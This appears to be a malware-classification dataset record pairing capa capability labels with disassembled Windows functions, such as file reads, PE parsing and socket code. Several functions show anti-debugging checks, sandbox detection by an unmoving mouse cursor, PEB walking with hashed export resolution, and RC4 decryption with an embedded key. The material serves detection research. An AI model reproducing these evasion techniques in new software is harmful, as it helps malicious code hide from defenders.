joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001c4e0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001c510
xor eax, eax
jmp 0x14001c5d3
mov rbp, rbx
cmp word [rax], si
je 0x14001c535
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001c51c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001c518
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001c400
movsxd r14, eax
test eax, eax
jne 0x14001c573
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001c509
mov rcx, r14
call fcn.14001882c
mov rdi, rax
test rax, rax
jne 0x14001c58c
xor ecx, ecx
call fcn.140017bb4
jmp 0x14001c568
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001c400
test eax, eax
jne 0x14001c5bd
mov rcx, rdi
call fcn.140017bb4
jmp 0x14001c5c7
xor ecx, ecx
call fcn.140017bb4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400208fc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140020912
mov al, 1
jmp 0x140020972
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140020923
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140020970
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001ce00
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140020970
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140020970
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140020970
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140020972
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400215f4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14001583c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002167e
cmp byte [rbp - 0x21], r15b
je 0x140021679
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400216b4
call fcn.140017e04
test eax, eax
jne 0x1400216a0
cmp byte [rbp - 0x21], r15b
je 0x140021698
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400216b4
cmp byte [rbp - 0x21], r15b
je 0x1400216b1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001ab4c
test eax, eax
jne 0x140021754
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14001583c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400216f3
cmp byte [rbp - 0x21], r15b
je 0x140021728
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140021728
call fcn.140017e04
test eax, eax
jne 0x140021714
cmp byte [rbp - 0x21], r15b
je 0x14002170d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140021728
cmp byte [rbp - 0x21], r15b
je 0x140021725
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001ab4c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140021754
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140021757
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140021765
mov rcx, rdi
call fcn.140017bb4
cmp byte [rbp + 0x3f], r15b
je 0x140021774
mov rcx, qword [rbp + 0x27]
call fcn.140017bb4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140023d80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140023da8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140023da8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400043c0]
mov rcx, qword [0x140004370]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x1400043e0]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x1400043b0]
mov dword [0x14000700c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004480]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004460]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004320]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001360
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
mov dword [rbp - 0x14], 0
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9d, 0
mov r8d, 0
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0xffffffffffffffff
jne 0x1400013d6
mov eax, 0
jmp 0x140001456
cmp qword [rbp + 0x18], 0
je 0x1400013f8
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov rdx, qword [rbp + 0x18]
mov dword [rdx], eax
mov rax, qword [rbp + 0x18]
mov eax, dword [rax]
mov eax, eax
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x18]
mov ecx, dword [rax]
lea r8, [rbp - 0x14]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
add rsp, 0x60
pop rbp
ret
Function at 0x1400017b4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1400070a8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1400070a4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140001802
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400017fa
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400018e9
inc ebx
add rax, 0x28
jmp 0x1400017da
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x140001821
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x1400070a8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140001883
mov rax, qword [0x1400070a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018e3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018e3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x1400070a4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140001d10
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140007100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001d5c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140001d56
test eax, eax
jne 0x140001d56
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001d2e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140001f10
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140001f33
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001f33
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140001f34
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140001f6e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140001f65
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140001f70
inc r8d
add rax, 0x28
jmp 0x140001f4c
xor eax, eax
ret

Function at 0x140001fe1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140004370]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x14000200d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001006
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rsi
push rbx
xor eax, eax
cmp word [rcx], 0x5a4d
mov r11d, edx
jne 0x14000108b
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000108b
mov edx, dword [rdx + 0x88]
add rdx, rcx
mov ebx, dword [rdx + 0x20]
mov esi, dword [rdx + 0x14]
add rbx, rcx
cmp eax, esi
jae 0x140001089
mov r9d, dword [rbx + rax*4]
xor r8d, r8d
add r9, rcx
movsx r10d, byte [r9]
test r10b, r10b
je 0x140001059
inc r9
lea r8d, [r8 + r10 + 0x6d5]
jmp 0x140001043
add r8d, 0x35
lea r9, [rax + 1]
cmp r11d, r8d
jne 0x140001084
mov r8d, dword [rdx + 0x24]
add rax, rax
add rax, rcx
movzx r8d, word [rax + r8]
mov eax, dword [rdx + 0x1c]
lea rdx, [rcx + r8*4]
mov eax, dword [rdx + rax]
add rax, rcx
jmp 0x14000108b
mov rax, r9
jmp 0x140001035
xor eax, eax
pop rbx
pop rsi
ret

Function at 0x14000108e
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
test rax, rax
je 0x1400010f0
cmp word [rax + 0x48], 0
je 0x1400010ee
mov r9, qword [rax + 0x50]
xor r8d, r8d
mov dx, word [r9]
test dx, dx
je 0x1400010da
lea r10d, [rdx - 0x41]
cmp r10w, 0x19
ja 0x1400010c9
add edx, 0x20
movzx edx, dx
add r9, 2
lea r8d, [r8 + rdx + 0x6d5]
jmp 0x1400010b2
add r8d, 0x35
cmp ecx, r8d
jne 0x1400010e9
mov rax, qword [rax + 0x20]
jmp 0x1400010f0
mov rax, qword [rax]
jmp 0x14000109f
xor eax, eax
ret

Function at 0x1400011d6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rbx
sub rsp, 0x228
movabs rax, 0x1423bb56419a5974
mov r10, rdx
mov qword [rsp], rax
mov r9, rcx
lea rbx, [rsp + 0x20]
movabs rdx, 0x159aa1c3d0225a74
lea rcx, [rsp + 0x120]
movabs rax, 0x993c2b002ebe091
mov qword [rsp + 8], rdx
movabs rdx, 0x295a161ccc51f477
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x10], rax
xor eax, eax
mov rdx, rax
mov byte [rax + rcx], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx]
mov byte [rax + rbx - 1], dl
cmp rax, 0x100
jne 0x14000122f
xor edx, edx
xor r11d, r11d
mov r8b, byte [rcx + rdx]
mov al, byte [rbx + rdx]
add eax, r8d
add eax, r11d
movzx r11d, al
movzx eax, al
mov sil, byte [rsp + rax + 0x120]
mov byte [rsp + rax + 0x120], r8b
mov byte [rcx + rdx], sil
inc rdx
cmp rdx, 0x100
jne 0x14000124f
xor edx, edx
xor ebx, ebx
xor r11d, r11d
cmp rdx, r10
je 0x1400012dd
lea ecx, [rbx + 1]
movzx ebx, cl
movzx ecx, cl
mov al, byte [rsp + rcx + 0x120]
lea r8d, [rax + r11]
movzx r11d, r8b
movzx r8d, r8b
mov sil, byte [rsp + r8 + 0x120]
mov byte [rsp + rcx + 0x120], sil
mov byte [rsp + r8 + 0x120], al
add al, byte [rsp + rcx + 0x120]
movzx eax, al
mov al, byte [rsp + rax + 0x120]
xor byte [r9 + rdx], al
inc rdx
jmp 0x14000128a
mov rax, rdx
add rsp, 0x228
pop rbx
pop rsi
ret

Function at 0x140001454
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
setne al
ret
Function at 0x140001468
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x28
mov ecx, 0x7331c0de
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x140003040]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7331c0de
setne al
add rsp, 0x28
ret

Function at 0x140001569
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x20]
call rbx
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x28]
call rbx
mov edx, dword [rsp + 0x28]
xor eax, eax
cmp dword [rsp + 0x20], edx
jne 0x1400015a5
mov eax, dword [rsp + 0x2c]
cmp dword [rsp + 0x24], eax
sete al
add rsp, 0x30
pop rbx
ret

Function at 0x140001770
Capabilities:
Act as tcp client
Connect tcp socket
Convert ip address from string
Create tcp socket
Get socket status
Reference google public dns server
Set socket configuration

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x460
lea rdx, str.8.8.8.8
xor esi, esi
mov edi, ecx
xor ecx, ecx
lea r8, [rsp + 0x44]
mov word [rsp + 0x40], 2
mov qword [rsp + 0x42], rcx
lea r12, [rsp + 0x40]
mov qword [rsp + 0x48], rcx
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, 6
mov edx, 1
mov ecx, 2
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400018a4
lea rbp, [rsp + 0x34]
mov edx, 0x8004667e
mov rcx, rax
mov dword [rsp + 0x34], 1
mov r8, rbp
mov rsi, qword [sym.imp.WS2_32.dll_ioctlsocket]
call rsi
mov r8d, 0x10
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140001899
xor edx, edx
mov r8, rbp
mov rcx, rbx
mov dword [rsp + 0x34], edx
mov edx, 0x8004667e
call rsi
test eax, eax
jne 0x140001899
imul edi, edi, 0x3e8
xor eax, eax
lea r8, [rsp + 0x50]
xor edx, edx
lea rsi, [rsp + 0x258]
mov dword [rsp + 0x38], eax
xor ecx, ecx
lea rax, [rsp + 0x38]
mov r9, rsi
mov qword [rsp + 0x58], rbx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x258], 1
mov qword [rsp + 0x260], rbx
mov dword [rsp + 0x3c], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
mov rdx, rsi
mov rcx, rbx
mov esi, 1
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x14000189b
xor esi, esi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
and eax, 1
add rsp, 0x460
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov ecx, 0x64
jmp 0x140001770
Function at 0x140001903
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Get socket status
Reference google public dns server
Set socket configuration

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x460
lea rdx, str.8.8.8.8
xor esi, esi
mov edi, ecx
xor ecx, ecx
lea r8, [rsp + 0x44]
mov word [rsp + 0x40], 2
mov qword [rsp + 0x42], rcx
lea r12, [rsp + 0x40]
mov qword [rsp + 0x48], rcx
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, 6
mov edx, 1
mov ecx, 2
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400018a4
lea rbp, [rsp + 0x34]
mov edx, 0x8004667e
mov rcx, rax
mov dword [rsp + 0x34], 1
mov r8, rbp
mov rsi, qword [sym.imp.WS2_32.dll_ioctlsocket]
call rsi
mov r8d, 0x10
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140001899
xor edx, edx
mov r8, rbp
mov rcx, rbx
mov dword [rsp + 0x34], edx
mov edx, 0x8004667e
call rsi
test eax, eax
jne 0x140001899
imul edi, edi, 0x3e8
xor eax, eax
lea r8, [rsp + 0x50]
xor edx, edx
lea rsi, [rsp + 0x258]
mov dword [rsp + 0x38], eax
xor ecx, ecx
lea rax, [rsp + 0x38]
mov r9, rsi
mov qword [rsp + 0x58], rbx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x258], 1
mov qword [rsp + 0x260], rbx
mov dword [rsp + 0x3c], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
mov rdx, rsi
mov rcx, rbx
mov esi, 1
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x14000189b
xor esi, esi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
and eax, 1
add rsp, 0x460
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov ecx, 0x64
jmp 0x140001770
Function at 0x140004ed0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140004d63
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004d63
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004d63
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004d63
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004d63
cmp dword [rcx + 0x84], 0xe
jbe 0x140004d63
cmp dword [rcx + 0xf8], 0
je 0x140004d63
mov ecx, ebx
call fcn.140004e04
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140004bf4
cmp dword [rbp + 0x20], 0
je 0x140004db0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004db8
int3
xor r8d, r8d
xor edx, edx
jmp 0x140004cfc
Function at 0x14000b610
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14000b5ed
call fcn.140004a60
mov dword [rax], 0x16
call fcn.14000a330
or eax, 0xffffffff
jmp 0x14000b60a
sub dword [rcx + 0x10], 1
jns 0x14000b5fc
add rsp, 0x28
jmp 0x1400126e8
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14000b5cc
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x14001271a
call fcn.140004a60
mov dword [rax], 0x16
call fcn.14000a330
jmp 0x140012837
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140012837
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140012837
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140012749
lock or dword [rcx + 0x14], 0x10
jmp 0x140012837
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14001275d
call fcn.14001718c
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.14000b444
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.140016c18
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140012825
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x1400127f0
mov rcx, rdi
call fcn.14000b444
cmp eax, esi
je 0x1400127db
mov rcx, rdi
call fcn.14000b444
cmp eax, 0xfffffffe
je 0x1400127db
mov rcx, rdi
call fcn.14000b444
movsxd rbx, eax
lea r14, [0x140027a00]
mov rcx, rdi
sar rbx, 6
call fcn.14000b444
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1400127e2
lea rdx, [0x140026340]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400127f0
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x140012814
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x140012814
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x140012814
mov dword [rdi + 0x20], 0x1000
mov rax, qword [rdi]
add dword [rdi + 0x10], esi
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x14001283a
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret